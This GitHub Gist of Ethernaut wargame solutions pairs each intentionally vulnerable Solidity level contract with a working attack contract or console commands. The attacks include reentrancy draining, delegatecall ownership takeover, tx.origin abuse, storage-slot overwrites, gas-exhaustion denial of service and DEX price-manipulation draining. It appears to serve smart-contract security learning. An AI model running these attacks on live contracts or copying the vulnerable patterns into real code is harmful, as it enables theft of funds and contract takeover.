Last active
July 16, 2023 11:01
-
-
Save smrnjeet222/5892f705b3dbfdf0442332fb9020106e to your computer and use it in GitHub Desktop.
Ethernaut Solutions: Created using remix-ide
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.1/contracts/math/SafeMath.sol'; | |
contract CoinFlip { | |
using SafeMath for uint256; | |
uint256 public consecutiveWins; | |
uint256 lastHash; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
constructor() public { | |
consecutiveWins = 0; | |
} | |
function flip(bool _guess) public returns (bool) { | |
uint256 blockValue = uint256(blockhash(block.number.sub(1))); | |
if (lastHash == blockValue) { | |
revert(); | |
} | |
lastHash = blockValue; | |
uint256 coinFlip = blockValue.div(FACTOR); | |
bool side = coinFlip == 1 ? true : false; | |
if (side == _guess) { | |
consecutiveWins++; | |
return true; | |
} else { | |
consecutiveWins = 0; | |
return false; | |
} | |
} | |
} | |
contract Attack { | |
CoinFlip public flipper; | |
using SafeMath for uint256; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
bool public ans; | |
constructor(address _victim) public { | |
flipper = CoinFlip(_victim); | |
} | |
function attack() public { | |
uint256 blockValue = uint256(blockhash(block.number.sub(1))); | |
bool side = uint256(blockValue.div(FACTOR)) == 1 ? true : false; | |
flipper.flip(side); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Telephone { | |
address public owner; | |
constructor() public { | |
owner = msg.sender; | |
} | |
function changeOwner(address _owner) public { | |
if (tx.origin != msg.sender) { | |
owner = _owner; | |
} | |
} | |
} | |
contract TxOriginAttack { | |
address public owner; | |
Telephone Victim; | |
constructor() public { | |
owner = msg.sender; | |
Victim = Telephone(0x3DEFc9f4B539a1b9a816a725880A2738693EeAEe); | |
} | |
function attack() public { | |
Victim.changeOwner(owner); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Delegate { | |
address public owner; | |
constructor(address _owner) public { | |
owner = _owner; | |
} | |
function pwn() public { | |
owner = msg.sender; | |
} | |
} | |
contract Delegation { | |
address public owner; | |
Delegate delegate; | |
constructor(address _delegateAddress) public { | |
delegate = Delegate(_delegateAddress); | |
owner = msg.sender; | |
} | |
fallback() external { | |
(bool result,) = address(delegate).delegatecall(msg.data); | |
if (result) { | |
this; | |
} | |
} | |
} | |
contract Attack { | |
event Response(bool success, bytes data); | |
function attack(address level) public { | |
(bool success, bytes memory data ) = address(level).call(abi.encodeWithSignature("pwn()")); | |
require(success, "un-successful"); | |
emit Response(success, data); | |
} | |
function getsig () public pure returns (bytes memory) { | |
return abi.encodeWithSignature("pwn()"); // returns "0xdd365b8b" | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Exploiter { | |
constructor(address payable to) public payable { | |
selfdestruct(to); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract King { | |
address payable king; | |
uint256 public prize; | |
address payable public owner; | |
constructor() public payable { | |
owner = msg.sender; | |
king = msg.sender; | |
prize = msg.value; | |
} | |
receive() external payable { | |
require(msg.value >= prize || msg.sender == owner); | |
king.transfer(msg.value); | |
king = msg.sender; | |
prize = msg.value; | |
} | |
function _king() public view returns (address payable) { | |
return king; | |
} | |
} | |
contract Exploit { | |
constructor(address payable to) public payable { | |
(bool success, ) = address(to).call{value: msg.value}(""); | |
require(success, "we are not the new king"); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.1/contracts/math/SafeMath.sol"; | |
contract Reentrance { | |
using SafeMath for uint256; | |
mapping(address => uint256) public balances; | |
function donate(address _to) public payable { | |
balances[_to] = balances[_to].add(msg.value); | |
} | |
function balanceOf(address _who) public view returns (uint256 balance) { | |
return balances[_who]; | |
} | |
function withdraw(uint256 _amount) public { | |
if (balances[msg.sender] >= _amount) { | |
(bool result, ) = msg.sender.call{value: _amount}(""); | |
if (result) { | |
_amount; | |
} | |
balances[msg.sender] -= _amount; | |
} | |
} | |
receive() external payable {} | |
} | |
contract Exploit { | |
Reentrance private victim; | |
address public owner; | |
constructor(Reentrance _victim) public { | |
owner = msg.sender; | |
victim = _victim; | |
} | |
function cashOut() external { | |
uint256 balance = address(this).balance; | |
(bool success, ) = owner.call{value: balance}(""); | |
} | |
function exploit() public payable { | |
victim.donate{value: msg.value}(address(this)); | |
victim.withdraw(msg.value); | |
} | |
receive() external payable { | |
uint256 victimBalance = address(victim).balance; | |
if (victimBalance > 0) { | |
uint256 withdrawAmount = msg.value; | |
if (withdrawAmount > victimBalance) { | |
withdrawAmount = victimBalance; | |
} | |
victim.withdraw(withdrawAmount); | |
} | |
// if (address(victim).balance > msg.value) { | |
// victim.withdraw(msg.value); | |
// } else { | |
// victim.withdraw(address(victim).balance); | |
// } | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Building { | |
bool public calledFirst = true; | |
function isLastFloor(uint256) external returns (bool) { | |
if ( calledFirst ) { | |
calledFirst = !calledFirst; | |
return false; | |
} else { | |
calledFirst = !calledFirst; | |
return true; | |
} | |
} | |
function callElevator(uint256 _floor) public { | |
Elevator elevator = Elevator(0x1b08FAf5609a6C388794Ff55d65D1aaC2e098148); | |
elevator.goTo(_floor); | |
} | |
} | |
contract Elevator { | |
bool public top; | |
uint256 public floor; | |
function goTo(uint256 _floor) public { | |
Building building = Building(msg.sender); | |
if (!building.isLastFloor(_floor)) { | |
floor = _floor; | |
top = building.isLastFloor(floor); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Privacy { | |
bool public locked = true; /* 0 : 0x0000000000000000000000000000000000000000000000000000000000000001 */ | |
uint256 public ID = block.timestamp; /* 1 : 0x000000000000000000000000000000000000000000000000000000006360d43e -> 1667288573 */ | |
uint8 private flattening = 10; | |
uint8 private denomination = 255; | |
uint16 private awkwardness = uint16(now); | |
/* 2 : 0x00000000000000000000000000000000000000000000000000000000d43eff0a */ | |
bytes32[3] public data; | |
/* 3 : 0x4146b73fef6d626756c0d8debb539dab491003175550ea05d1cdddeba541a4c0 */ | |
/* 4 : 0x67651d2242efdc291fd04cc2f42896f31fc0d1da63a72c944eeb77f458120ee4 */ | |
/* 5 : 0x6ae9545a8e3618802f0e0804c07a8e103bd54d317c457d1a249c1ff8ddf853ee */ | |
constructor(bytes32[3] memory _data) public { | |
data = _data; | |
} | |
function unlock(bytes16 _key) public { | |
require(_key == bytes16(data[2])); | |
locked = false; | |
} | |
/* | |
A bunch of super advanced solidity algorithms... | |
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` | |
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., | |
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ | |
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) | |
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU | |
*/ | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.1/contracts/math/SafeMath.sol"; | |
contract Attack { | |
using SafeMath for uint256; | |
address public owner; | |
GatekeeperOne victim; | |
constructor(GatekeeperOne _victim) public { | |
owner = msg.sender; | |
victim = GatekeeperOne(_victim); | |
} | |
function attack(uint256 _gas) public { | |
victim.enter{gas: _gas}(); | |
} | |
// 32762 | |
} | |
contract GatekeeperOne { | |
using SafeMath for uint256; | |
address public entrant; | |
modifier gateOne() { | |
require(msg.sender != tx.origin); | |
_; | |
} | |
modifier gateTwo() { | |
require(gasleft().mod(8191) == 0); | |
_; | |
} | |
modifier gateThree(bytes8 _gateKey) { | |
require( | |
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), | |
"GatekeeperOne: invalid gateThree part one" | |
); | |
require( | |
uint32(uint64(_gateKey)) != uint64(_gateKey), | |
"GatekeeperOne: invalid gateThree part two" | |
); | |
require( | |
uint32(uint64(_gateKey)) == uint16(tx.origin), | |
"GatekeeperOne: invalid gateThree part three" | |
); | |
_; | |
} | |
function enter() public gateOne gateTwo returns (bool) { | |
entrant = tx.origin; | |
return true; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Attack { | |
constructor(GatekeeperTwo _victim) { | |
bytes8 contractByte8 = bytes8( | |
keccak256(abi.encodePacked(address(this))) | |
); | |
bytes8 gateKey = ~contractByte8; | |
_victim.enter(gateKey); | |
} | |
} | |
contract GatekeeperTwo { | |
address public entrant; | |
modifier gateOne() { | |
require(msg.sender != tx.origin); | |
_; | |
} | |
modifier gateTwo() { | |
uint256 x; | |
assembly { | |
x := extcodesize(caller()) | |
} | |
require(x == 0); | |
_; | |
} | |
modifier gateThree(bytes8 _gateKey) { | |
require( | |
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ | |
uint64(_gateKey) == | |
type(uint64).max | |
); | |
_; | |
} | |
function enter(bytes8 _gateKey) | |
public | |
gateOne | |
gateTwo | |
gateThree(_gateKey) | |
returns (bool) | |
{ | |
entrant = tx.origin; | |
return true; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.6.0; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/cec0800c541c809f883a37f2dfb91ec4c90263c5/contracts/token/ERC20/ERC20.sol"; | |
contract NaughtCoin is ERC20 { | |
// string public constant name = 'NaughtCoin'; | |
// string public constant symbol = '0x0'; | |
// uint public constant decimals = 18; | |
uint256 public timeLock = now + 10 * 365 days; | |
uint256 public INITIAL_SUPPLY; | |
address public player; | |
constructor(address _player) public ERC20("NaughtCoin", "0x0") { | |
player = _player; | |
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); | |
// _totalSupply = INITIAL_SUPPLY; | |
// _balances[player] = INITIAL_SUPPLY; | |
_mint(player, INITIAL_SUPPLY); | |
emit Transfer(address(0), player, INITIAL_SUPPLY); | |
} | |
function transfer(address _to, uint256 _value) | |
public | |
override | |
lockTokens | |
returns (bool) | |
{ | |
super.transfer(_to, _value); | |
} | |
// Prevent the initial owner from transferring tokens until the timelock has passed | |
modifier lockTokens() { | |
if (msg.sender == player) { | |
require(now > timeLock); | |
_; | |
} else { | |
_; | |
} | |
} | |
} | |
/* | |
contract.approve(player, playerBalance); | |
contract.transferFrom(player, toAddress, playerBalance) | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Preservation { | |
// public library contracts | |
address public timeZone1Library; | |
address public timeZone2Library; | |
address public owner; | |
uint storedTime; | |
// Sets the function signature for delegatecall | |
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); | |
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { | |
timeZone1Library = _timeZone1LibraryAddress; | |
timeZone2Library = _timeZone2LibraryAddress; | |
owner = msg.sender; | |
} | |
// set the time for timezone 1 | |
function setFirstTime(uint _timeStamp) public { | |
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); | |
} | |
// set the time for timezone 2 | |
function setSecondTime(uint _timeStamp) public { | |
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); | |
} | |
} | |
// Simple library contract to set the time | |
contract LibraryContract { | |
// stores a timestamp | |
uint storedTime; | |
function setTime(uint _time) public { | |
storedTime = _time; | |
} | |
} | |
// Simple library contract to set the time | |
contract AttackLibraryContract { | |
// stores a timestamp | |
address public blahblahspace1; | |
address public blahblahspace2; | |
uint storedTime; | |
function setTime(uint _time) public { | |
storedTime = _time; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.1/contracts/math/SafeMath.sol'; | |
contract Recovery { | |
//generate tokens | |
function generateToken(string memory _name, uint256 _initialSupply) public { | |
new SimpleToken(_name, msg.sender, _initialSupply); | |
} | |
} | |
contract SimpleToken { | |
using SafeMath for uint256; | |
// public variables | |
string public name; | |
mapping (address => uint) public balances; | |
// constructor | |
constructor(string memory _name, address _creator, uint256 _initialSupply) public { | |
name = _name; | |
balances[_creator] = _initialSupply; | |
} | |
// collect ether in return for tokens | |
receive() external payable { | |
balances[msg.sender] = msg.value.mul(10); | |
} | |
// allow transfers of tokens | |
function transfer(address _to, uint _amount) public { | |
require(balances[msg.sender] >= _amount); | |
balances[msg.sender] = balances[msg.sender].sub(_amount); | |
balances[_to] = _amount; | |
} | |
// clean up after ourselves | |
function destroy(address payable _to) public { | |
selfdestruct(_to); | |
} | |
} | |
// got to explorer and track contract address | |
// 0xc3ACEF2335BecDe3BEf6d09e8Cd6d52056226b1C | |
// or | |
// ethers.utils.getContractAddress({ | |
// from: contract.address, | |
// nonce: 1, | |
// }) | |
// call destroy on contract |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Solver1 { | |
function whatIsTheMeaningOfLife() external pure returns (uint256) { | |
return 42; | |
} | |
} | |
// // FROM REMIX DEBUGGER | |
// 076 PUSH1 2a | | |
// 078 PUSH1 00 |- MSTORE(0x00, 0x2a) | |
// 080 MSTORE | | |
// 081 PUSH1 20 | | |
// 083 PUSH1 00 |- RETURN(0x00,0x20) | |
// 085 RETURN | | |
contract Solver2 { | |
function whatIsTheMeaningOfLife() external pure returns (uint256) { | |
assembly { | |
mstore(0x00, 0x2a) // Store 42 in memory address 0 | |
return(0x00, 0x20) // return memory at address 0 with 0x20 length | |
} | |
} | |
} | |
// // BYTECODE - OPCODE : From ethervm.io | |
// 0x60 PUSH1 | |
// 0x52 MSTORE | |
// 0xF3 RETURN | |
// under 10 bytes | |
// 0x602a - 2 (PUSH1 2a) | |
// 0x6000 - 2 (PUSH1 00) | |
// 0x52 - 1 (MSTORE) | |
// 0x6020 - 2 (PUSH1 0x20) | |
// 0x6000 - 2 (PUSH1 0x00) | |
// 0xF3 - 1 (RETURN) | |
// ======== 10 bytes => 0x0a | |
// 32 - 10 bytes = 22 bytes => 0x16 | |
// ======== | |
// 0x602a60005260206000f3 with 22 bytes prepadding | |
contract Solver3 { | |
constructor() public{ | |
assembly{ | |
// Store bytecode at to mem position 0 | |
mstore(0x00, 0x602a60005260206000f3) // => bytes32 so it is prepadding with 0 | |
// return mem position 0x16 => skip prepadding 0 for 22 bytes i.e return(22, 10) | |
return(0x16, 0x0a) | |
} | |
} | |
} | |
// Deployed @ : 0xd048Dd89F303B7b264A14373cA69896c3683A7e7 | |
contract MagicNum { | |
address public solver; | |
constructor() public {} | |
function setSolver(address _solver) public { | |
solver = _solver; | |
} | |
/* | |
____________/\\\_______/\\\\\\\\\_____ | |
__________/\\\\\_____/\\\///////\\\___ | |
________/\\\/\\\____\///______\//\\\__ | |
______/\\\/\/\\\______________/\\\/___ | |
____/\\\/__\/\\\___________/\\\//_____ | |
__/\\\\\\\\\\\\\\\\_____/\\\//________ | |
_\///////////\\\//____/\\\/___________ | |
___________\/\\\_____/\\\\\\\\\\\\\\\_ | |
___________\///_____\///////////////__ | |
*/ | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.5.0; | |
import "./helpers/Ownable-05.sol"; | |
contract AlienCodex { | |
bool public contact; | |
bytes32[] public codex; | |
modifier contacted() { | |
assert(contact); | |
_; | |
} | |
function make_contact() public { | |
contact = true; | |
} | |
function record(bytes32 _content) contacted public { | |
codex.push(_content); | |
} | |
function retract() contacted public { | |
codex.length--; | |
} | |
function revise(uint i, bytes32 _content) contacted public { | |
codex[i] = _content; | |
} | |
} | |
// contract.make_contact() | |
// contract.retract() | |
// @slot 1 | |
// const codexBegin = web3.utils.keccak256(`0x0000000000000000000000000000000000000000000000000000000000000001`) | |
// const offset = BigInt(2**256) - BigInt(codexBegin) | |
// keccak(1) + index mod 2^256 = 0 | |
// index = 2^256 - keccak(1) [since keccak(1) < 2^256] | |
// contract.revise(offset, web3.utils.padLeft(player, 64)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.6.0; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.1/contracts/math/SafeMath.sol"; | |
contract Attack { | |
Denial public victim; | |
address public owner; | |
uint256 private sum; | |
constructor(Denial _victim) public { | |
victim = _victim; | |
owner = msg.sender; | |
} | |
function withdraw() public { | |
victim.withdraw(); | |
} | |
receive() payable external { | |
// run out of gass | |
uint256 index; | |
for (index = 0; index < uint256(-1); index++) { | |
sum += 1; | |
} | |
} | |
} | |
contract Denial { | |
using SafeMath for uint256; | |
address public partner; // withdrawal partner - pay the gas, split the withdraw | |
address payable public constant owner = address(0xA9E); | |
uint256 timeLastWithdrawn; | |
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances | |
function setWithdrawPartner(address _partner) public { | |
partner = _partner; | |
} | |
// withdraw 1% to recipient and 1% to owner | |
function withdraw() public { | |
uint256 amountToSend = address(this).balance.div(100); | |
// perform a call without checking return | |
// The recipient can revert, the owner will still get their share | |
partner.call{value: amountToSend}(""); | |
owner.transfer(amountToSend); | |
// keep track of last withdrawal time | |
timeLastWithdrawn = now; | |
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add( | |
amountToSend | |
); | |
} | |
// allow deposit of funds | |
receive() external payable {} | |
// convenience function | |
function contractBalance() public view returns (uint256) { | |
return address(this).balance; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Buyer { | |
Shop shop; | |
constructor (Shop shopAddress) public { | |
shop = Shop(shopAddress); | |
} | |
function price() external view returns (uint) { | |
return shop.isSold() ? 1 : 101; | |
} | |
function buyFromShop() public{ | |
shop.buy(); | |
} | |
} | |
contract Shop { | |
uint public price = 100; | |
bool public isSold; | |
function buy() public { | |
Buyer _buyer = Buyer(msg.sender); | |
if (_buyer.price() >= price && !isSold) { | |
isSold = true; | |
price = _buyer.price(); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.8/contracts/token/ERC20/IERC20.sol"; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.8/contracts/token/ERC20/ERC20.sol"; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.8/contracts/utils/math/SafeMath.sol"; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.8/contracts/access/Ownable.sol"; | |
// msg.sender changes here | |
// contract Attack { | |
// function attack(Dex _dex) public { | |
// address token1 = _dex.token1(); | |
// address token2 = _dex.token2(); | |
// _dex.approve(address(_dex), 500); | |
// _dex.swap(token1, token2, 10); | |
// _dex.swap(token2, token1, 20); | |
// _dex.swap(token1, token2, 24); | |
// _dex.swap(token2, token1, 30); | |
// _dex.swap(token1, token2, 41); | |
// _dex.swap(token2, token1, 45); | |
// } | |
// } | |
// await contract.approve(contract.address, 500) | |
// const t1 = await contract.token1() | |
// const t2 = await contract.token2() | |
// await contract.swap(t1, t2, 10) | |
// await contract.swap(t2, t1, 20) | |
// await contract.swap(t1, t2, 24) | |
// await contract.swap(t2, t1, 30) | |
// await contract.swap(t1, t2, 41) | |
// await contract.swap(t2, t1, 45) | |
contract Dex is Ownable { | |
address public token1; | |
address public token2; | |
constructor() {} | |
function setTokens(address _token1, address _token2) public onlyOwner { | |
token1 = _token1; | |
token2 = _token2; | |
} | |
function addLiquidity(address token_address, uint256 amount) | |
public | |
onlyOwner | |
{ | |
IERC20(token_address).transferFrom(msg.sender, address(this), amount); | |
} | |
function swap( | |
address from, | |
address to, | |
uint256 amount | |
) public { | |
require( | |
(from == token1 && to == token2) || | |
(from == token2 && to == token1), | |
"Invalid tokens" | |
); | |
require( | |
IERC20(from).balanceOf(msg.sender) >= amount, | |
"Not enough to swap" | |
); | |
uint256 swapAmount = getSwapPrice(from, to, amount); | |
IERC20(from).transferFrom(msg.sender, address(this), amount); | |
IERC20(to).approve(address(this), swapAmount); | |
IERC20(to).transferFrom(address(this), msg.sender, swapAmount); | |
} | |
function getSwapPrice( | |
address from, | |
address to, | |
uint256 amount | |
) public view returns (uint256) { | |
return ((amount * IERC20(to).balanceOf(address(this))) / | |
IERC20(from).balanceOf(address(this))); | |
} | |
function approve(address spender, uint256 amount) public { | |
SwappableToken(token1).approve(msg.sender, spender, amount); | |
SwappableToken(token2).approve(msg.sender, spender, amount); | |
} | |
function balanceOf(address token, address account) | |
public | |
view | |
returns (uint256) | |
{ | |
return IERC20(token).balanceOf(account); | |
} | |
} | |
contract SwappableToken is ERC20 { | |
address private _dex; | |
constructor( | |
address dexInstance, | |
string memory name, | |
string memory symbol, | |
uint256 initialSupply | |
) ERC20(name, symbol) { | |
_mint(msg.sender, initialSupply); | |
_dex = dexInstance; | |
} | |
function approve( | |
address owner, | |
address spender, | |
uint256 amount | |
) public { | |
require(owner != _dex, "InvalidApprover"); | |
super._approve(owner, spender, amount); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.8/contracts/token/ERC20/IERC20.sol"; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.8/contracts/token/ERC20/ERC20.sol"; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.8/contracts/utils/math/SafeMath.sol"; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.8/contracts/access/Ownable.sol"; | |
contract EvilToken is ERC20 { | |
constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") { | |
_mint(msg.sender, initialSupply); | |
} | |
} | |
// transfer 100EVL to dex | |
// approve dex of EVL tokens | |
// await contract.swap(evlToken, token1, 100) | |
// token1 is drained ^ | |
// Drain token2 simillarly with EvilToken2 (EVL2) | |
// await contract.swap(evlToken2, token2, 100) | |
// OR | |
// await contract.swap(evlToken, token2, 200) | |
// to get 100 token2 out, give 200EVL | |
contract DexTwo is Ownable { | |
address public token1; | |
address public token2; | |
constructor() {} | |
function setTokens(address _token1, address _token2) public onlyOwner { | |
token1 = _token1; | |
token2 = _token2; | |
} | |
function add_liquidity(address token_address, uint amount) public onlyOwner { | |
IERC20(token_address).transferFrom(msg.sender, address(this), amount); | |
} | |
function swap(address from, address to, uint amount) public { | |
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); | |
uint swapAmount = getSwapAmount(from, to, amount); | |
IERC20(from).transferFrom(msg.sender, address(this), amount); | |
IERC20(to).approve(address(this), swapAmount); | |
IERC20(to).transferFrom(address(this), msg.sender, swapAmount); | |
} | |
function getSwapAmount(address from, address to, uint amount) public view returns(uint){ | |
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); | |
} | |
function approve(address spender, uint amount) public { | |
SwappableTokenTwo(token1).approve(msg.sender, spender, amount); | |
SwappableTokenTwo(token2).approve(msg.sender, spender, amount); | |
} | |
function balanceOf(address token, address account) public view returns (uint){ | |
return IERC20(token).balanceOf(account); | |
} | |
} | |
contract SwappableTokenTwo is ERC20 { | |
address private _dex; | |
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) { | |
_mint(msg.sender, initialSupply); | |
_dex = dexInstance; | |
} | |
function approve(address owner, address spender, uint256 amount) public { | |
require(owner != _dex, "InvalidApprover"); | |
super._approve(owner, spender, amount); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.5.0; | |
/** | |
* @dev Contract module which provides a basic access control mechanism, where | |
* there is an account (an owner) that can be granted exclusive access to | |
* specific functions. | |
* | |
* This module is used through inheritance. It will make available the modifier | |
* `onlyOwner`, which can be aplied to your functions to restrict their use to | |
* the owner. | |
*/ | |
contract Ownable { | |
address private _owner; | |
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); | |
/** | |
* @dev Initializes the contract setting the deployer as the initial owner. | |
*/ | |
constructor () internal { | |
_owner = msg.sender; | |
} | |
/** | |
* @dev Returns the address of the current owner. | |
*/ | |
function owner() public view returns (address) { | |
return _owner; | |
} | |
/** | |
* @dev Throws if called by any account other than the owner. | |
*/ | |
modifier onlyOwner() { | |
require(isOwner(), "Ownable: caller is not the owner"); | |
_; | |
} | |
/** | |
* @dev Returns true if the caller is the current owner. | |
*/ | |
function isOwner() public view returns (bool) { | |
return msg.sender == _owner; | |
} | |
/** | |
* @dev Leaves the contract without owner. It will not be possible to call | |
* `onlyOwner` functions anymore. Can only be called by the current owner. | |
* | |
* > Note: Renouncing ownership will leave the contract without an owner, | |
* thereby removing any functionality that is only available to the owner. | |
*/ | |
function renounceOwnership() public onlyOwner { | |
emit OwnershipTransferred(_owner, address(0)); | |
_owner = address(0); | |
} | |
/** | |
* @dev Transfers ownership of the contract to a new account (`newOwner`). | |
* Can only be called by the current owner. | |
*/ | |
function transferOwnership(address newOwner) public onlyOwner { | |
_transferOwnership(newOwner); | |
} | |
/** | |
* @dev Transfers ownership of the contract to a new account (`newOwner`). | |
*/ | |
function _transferOwnership(address newOwner) internal { | |
require(newOwner != address(0), "Ownable: new owner is the zero address"); | |
emit OwnershipTransferred(_owner, newOwner); | |
_owner = newOwner; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment